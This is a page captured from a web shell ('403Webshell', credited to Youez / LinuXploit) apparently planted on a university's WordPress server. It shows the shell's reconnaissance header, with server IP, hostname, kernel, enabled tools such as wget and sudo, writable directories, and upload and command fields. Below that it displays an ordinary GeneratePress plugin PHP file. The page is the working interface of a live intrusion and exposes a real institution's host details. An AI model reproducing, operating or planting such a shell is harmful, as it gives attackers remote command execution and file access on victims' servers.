403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/medicine/public_html/wp-content/plugins/gp-premium/general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/medicine/public_html/wp-content/plugins/gp-premium/general/enqueue-scripts.php
<?php
/**
 * This file adds global scripts.
 *
 * @since 2.0.0
 *
 * @package GP Premium
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // No direct access, please.
}

add_action( 'enqueue_block_editor_assets', 'generate_premium_enqueue_editor_scripts' );
/**
 * Add scripts to the non-Elements block editor.
 *
 * @since 2.0.0
 */
function generate_premium_enqueue_editor_scripts() {
	global $pagenow;

	$deps = array( 'wp-blocks', 'wp-i18n', 'wp-element', 'wp-editor' );

	if ( 'widgets.php' === $pagenow ) {
		unset( $deps[3] );
	}

	wp_enqueue_script(
		'gp-premium-editor',
		GP_PREMIUM_DIR_URL . 'dist/editor.js',
		$deps,
		filemtime( GP_PREMIUM_DIR_PATH . 'dist/editor.js' ),
		true
	);

	wp_set_script_translations( 'gp-premium-editor', 'gp-premium', GP_PREMIUM_DIR_PATH . 'langs' );

	global $generate_elements;
	$active_elements = array();

	if ( class_exists( 'GeneratePress_Elements_Helper' ) && ! empty( $generate_elements ) ) {
		foreach ( (array) $generate_elements as $key => $data ) {
			$type = esc_html( GeneratePress_Elements_Helper::get_element_type_label( $data['type'] ) );

			$active_elements[] = array(
				'type' => $type,
				'name' => get_the_title( $data['id'] ),
				'url'  => get_edit_post_link( $data['id'] ),
			);
		}
	}

	$post_type_is_public = false;

	if ( get_post_type() ) {
		$post_type = get_post_type_object( get_post_type() );

		if ( is_object( $post_type ) && ! empty( $post_type->public ) ) {
			$post_type_is_public = true;
		}
	}

	wp_localize_script(
		'gp-premium-editor',
		'gpPremiumEditor',
		array(
			'isBlockElement' => 'gp_elements' === get_post_type(),
			'activeElements' => $active_elements,
			'elementsUrl' => esc_url( admin_url( 'edit.php?post_type=gp_elements' ) ),
			'postTypeIsPublic' => $post_type_is_public,
		)
	);

	wp_enqueue_style(
		'gp-premium-editor',
		GP_PREMIUM_DIR_URL . 'dist/editor.css',
		array( 'wp-edit-blocks' ),
		filemtime( GP_PREMIUM_DIR_PATH . 'dist/editor.css' )
	);
}

Youez - 2016 - github.com/yon3zu
LinuXploit